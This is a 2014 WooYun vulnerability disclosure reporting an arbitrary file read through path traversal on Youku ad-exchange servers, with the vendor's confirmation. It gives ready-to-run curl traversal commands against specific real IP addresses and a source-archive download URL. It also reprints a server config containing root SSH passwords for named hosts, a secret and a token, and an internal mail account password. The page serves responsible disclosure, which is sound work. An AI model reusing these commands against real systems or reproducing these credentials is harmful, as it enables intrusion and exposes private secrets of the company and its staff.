当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085445

漏洞标题:优酷系列服务器文件读取

相关厂商:优酷

漏洞作者: s0mun5

提交时间:2014-12-01 15:49

修复时间:2015-01-15 15:50

公开时间:2015-01-15 15:50

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-01: 细节已通知厂商并且等待厂商处理中
2014-12-01: 厂商已经确认,细节仅向厂商公开
2014-12-11: 细节向核心白帽子及相关领域专家公开
2014-12-21: 细节向普通白帽子公开
2014-12-31: 细节向实习白帽子公开
2015-01-15: 细节向公众公开

简要描述:

优酷系列服务器文件读取以及内部信息泄露

详细说明:

广告系统的几台服务器都有问题。可以读取任意文件 并且是root权限。

Snip20141201_20.png


下面是收集到的有问题的几台服务器。

curl http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1
curl http://220.181.185.229/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1
curl http://220.181.154.180/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1
curl http://220.181.154.181/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1
curl http://220.181.154.202/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1
curl http://220.181.154.203/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1


Snip20141201_23.png

漏洞证明:

以其中一台为例进行延伸。
读取shadow

Snip20141201_24.png


读取history

Snip20141201_26.png


通过history读取各种配置文件

Snip20141201_27.png

# -*- coding: utf-8 -*-
[auctionserver_default]
# 安装根目录
rundir = /opt/workspace/exchange1.2/auctionserver
#模式(prod/dev)
mode = "prod"
#接受请求verticle个数
mainCore = 8
#与dsp连接的verticle个数
beaconCore = 8
# 拍卖服务器的域名,用于进行HTTP请求时对Host的验证
serverHosts = ["c.miaozhen.atm.youku.com","b.miaozhen.atm.youku.com"]
# 拍卖服务器的端口
port = 80
# 对Exchange网站开放的API的端口
apiPort = 8080
# 默认的曝光监控地址
impAddr = "http://n.miaozhen.atm.youku.com/x.gif"
# 默认的点击监控地址
clickAddr = "http://n.miaozhen.atm.youku.com/r.gif"
# user id在cookie里面的key
mzCookieName = "__ysuid"
# 对DSP的连接池大小,由于多个beacon,其实是乘以beacon个数的
clientPoolSize = 100
# HTTP pipeline队列的最大长度
clientMaxPipelineSize = 200
clientConnectionTimeout = 300
serverIdleTimeout = 700
# 是否需要服务费
needServiceFee = "false"
# 特殊请求密码
secret = "miaozhen1234"
isNoticeInPm = "true"
# 是否检查domain,优先于网站中的配置
isCheckDomain = "true"
isCheckHost = "false"
isCheckToken = "false"
token = "testToken"
#优酷的特殊功能开关
isYouku = "true"
useIPsClient = "true"
#dmp
isDMP = "false"
dmpHost = "127.0.0.1"
dmpPort = 6379
dmpKey = "YK_"
dmpSep = ","
# Exchange网站的地址
websiteHost = "miaozhen.atm.youku.com"
websitePort = 80
websiteIps = ["220.181.154.177", "123.126.99.87", "10.103.255.174"]
websiteHeaderHost = "miaozhen.atm.youku.com"
# 注册接口,不需要修改
registerApi = "/server/api/addAuction"
# 预算请求接口,不需要修改
budgetApi = "/pull/api/budget/take"
# 拍卖日志输出的Redis的地址,默认本地
redisHost = "127.0.0.1"
redisPort = 6379
keyBudget = "exchange_auction_budget_backup"
# 输出日志的根目录
auctionDataDir = "/opt/data/backup/exchange1.2/auctionserver"
# 是否显示系统日志
isShowLog = "true"
# 保留日志天数
logReservedDays = 30
mappingRMUrl = ""
budgetPort=8281
budgetHost="miaozhen.atm.youku.com"
mappingDmpPort=6380
mappingDmpHost=""
mappingDspQps=1
mappingDspUrl=""
mappingDspId=""
forwardPath = "/"
forwardPort = 1234
forwardHost = "127.0.0.1"
isForward = "false"
heapSize = 10
#启动和停止相关脚本
start = bash bin/start.sh
stop = bash bin/stop.sh
check = bash bin/check.sh
restart = bash bin/restart.sh
start_retry = bash bin/start_retry.sh
stop_retry = bash bin/stop_retry.sh
backup = bash bin/backup.sh
#安装的目标机器密码
#sshpass = "123456"
#安装的目标机器端口
sshport = "1111"
[auctionserver_01]
#安装的目标机器用户和域名(ip)
node = root@220.181.154.180
sshpass = "ocf(*XzhWt4K"
# 拍卖服务器的名字
serverName = "a05.exchange.ad.b28.youku"
[auctionserver_02]
#安装的目标机器用户和域名(ip)
node = root@220.181.154.181
sshpass = "isC*&7cjpZCW"
# 拍卖服务器的名字
serverName = "a06.exchange.ad.b28.youku"
#[auctionserver_03]
##安装的目标机器用户和域名(ip)
#node = root@220.181.154.183
#sshpass = "wzxJ^#jsQJKv"
## 拍卖服务器的名字
#serverName = "a08.exchange.ad.b28.youku"


列出几个关键文件地址,不截图证明。

/opt/workspace/exchange1.2/reportserver/run/start.sh
/opt/workspace/exchange1.2/reportserver/code/CMakeLists.txt
/opt/workspace/exchange1.2/reportserver/config/mergelog.list
/opt/workspace/exchange1.2/reportserver/config/reportserver.cfg
/opt/workspace/exchange1.2/auctionserver/conf/exchange_auction_youku_new_config.ini
/opt/workspace/exchange1.2/auctionserver/conf/exchange_auction_youku_config.ini
/opt/workspace/exchange1.2/auctionserver/conf/dsps.txt
/home/zczhao/warn/sendlog.perl
/opt/workspace/exchange1.2/thirdparts/redis-2.4.17/redis.conf
/home/zczhao/cron/reporttab
0 2 * * * /home/zczhao/clear/clear_log.sh
0 2 * * * /home/zczhao/clear/clear_bz2.sh
0 2 * * * /home/zczhao/clear/bz2_day.sh >> /home/zczhao/clear/history.log
#*/10 * * * * /home/zczhao/warn/disk_warn.sh
*/10 * * * * bash /opt/workspace/exchange1.2/auctionserver/bin/run_dnscache.sh
*/10 * * * * bash /opt/workspace/exchange1.2/auctionserver/bin/heartbeat_check.sh
*/10 * * * * bash /opt/workspace/exchange1.2/auctionserver/bin/jmap.sh
/opt/data/backup/exchange1.2/reportserver/auction/log/bz2.sh


其中sendlog.perl中有一个内部邮箱账号

my $mail_smtp    = 'mail.youku.com';
my $mail_from = 'systeminformation@youku.com';
my $mail_to = 'dawei.zhang@youku.com';
my $auth_id = 'systeminformation';
my $auth_passwd = '111aaaAAA';
my $subject = "Warn from adExchange13 ($date).";
my $body = `cat /home/zczhao/warn/warn_log`;


Snip20141201_28.png


对了,还可以下载源码。
http://220.181.185.228/../../../../../../../../opt/workspace/exchange1.2/auctionserver.2014-07-16-07-52-30.tar.gz

修复方案:

版权声明:转载请注明来源 s0mun5@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-12-01 16:14

厂商回复:

多谢提醒,马上修复。

最新状态:

暂无